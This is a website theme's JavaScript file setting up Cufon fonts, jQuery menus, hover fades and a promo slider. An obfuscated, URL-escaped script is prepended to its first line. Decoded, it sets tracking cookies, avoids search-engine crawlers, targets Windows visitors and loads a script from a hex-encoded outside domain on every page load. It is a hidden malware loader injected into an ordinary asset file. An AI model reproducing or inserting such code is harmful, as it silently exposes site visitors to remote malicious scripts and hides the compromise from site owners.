var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%67%6F%74%3D%22%2B%65%73%63%61%70%65%28%22%67%6F%74%22%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%76%61%72%20%62%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%63%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%2C%64%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%2C%65%3D%22%20%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2C%66%3D%6E%75%6C%6C%2C%67%3D%30%2C%68%3D%30%3B%69%66%28%65%2E%6C%65%6E%67%74%68%3E%30%29%7B%67%3D%65%2E%69%6E%64%65%78%4F%66%28%22%20%67%6F%74%3D%22%29%3B%69%66%28%67%21%3D%2D%31%29%7B%67%2B%3D%35%3B%68%3D%65%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%67%29%3B%69%66%28%68%3D%3D%2D%31%29%68%3D%65%2E%6C%65%6E%67%74%68%3B%66%3D%75%6E%65%73%63%61%70%65%28%65%2E%73%75%62%73%74%72%69%6E%67%28%67%2C%68%29%29%7D%7D%20%69%66%28%66%3D%3D%22%67%6F%74%22%29%69%66%28%61%2E%69%6E%64%65%78%4F%66%28%22%67%6F%74%69%74%22%29%3D%3D%2D%31%26%26%21%62%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%63%29%26%26%64%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72%20%69%3D%5B%22%5C%78%37%30%5C%78%37%31%5C%78%37%33%5C%78%36%38%5C%78%36%66%5C%78%37%37%5C%78%32%65%5C%78%36%66%5C%78%37%32%5C%78%36%37%22%5D%2C%6A%3D%5B%22%62%6C%2E%22%5D%2C%6B%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%69%2E%6C%65%6E%67%74%68%29%2C%6C%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%6A%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%67%6F%74%69%74%3D%22%2B%65%73%63%61%70%65%28%22%67%6F%74%69%74%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%6A%5B%6C%5D%2B%69%5B%6B%5D%2B%27%2F%6A%73%2F%69%6E%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;// FONT REPLACEMENT
// Replace all tags with cufon equivalant
Cufon.replace('h1,h2,h3,h4,h5,h6,#commentform label');
//

// JQUERY
$(function(){
		   
	   // Clear searchform on click
		$("#searchform #s").click(function(){
			$(this).val("");   
		});
		
	
		// Dropdown Menu config
		$("ul.sf-menu").supersubs({ 
            minWidth:    12,   // minimum width of sub-menus in em units 
            maxWidth:    30,   // maximum width of sub-menus in em units 
            extraWidth:  1     // extra width can ensure lines don't sometimes turn over 
                               // due to slight rounding differences and font-family 
        }).superfish();  // call supersubs first, then superfish, so that subs are 
                         // not display:none when measuring. Call before initialising 
                         // containing tabs for same reason.
	
	
	// Softbutton = soft fade on hover, used for social media icons
	$(".softbutton a").stop().fadeTo("fast", .55);
	$(".softbutton a").hover(
		function(){
			$(this).stop().fadeTo("fast", 1);
		},
		function(){
			$(this).stop().fadeTo("fast", .55);
		}
	);
	
	
	// Promo slider setup, inserted on when promo is in use to save bandwidth
	
	$('#promos').cycle({ 
		fx:     'fade', 
		speed:  1000, 
		timeout: 3000,
		pager: '#promo-nav',
		pause: 1,
		height: 'auto',
		pauseOnPagerHover: 1,
		fastOnEvent: 350,
		pagerAnchorBuilder: function(idx, slide) { 
			return "#promo-nav li:eq("+ idx +") a"; 
		}
	});
	
	// Fix applied so menu appears OVER cycled images
	// Reverse the default z-index stacking order of the elements
	var startIndex = 1500;
	$('div').each(function() {
		$(this).css('zIndex', startIndex);
		startIndex -= 5;
	});
	

});// end jquery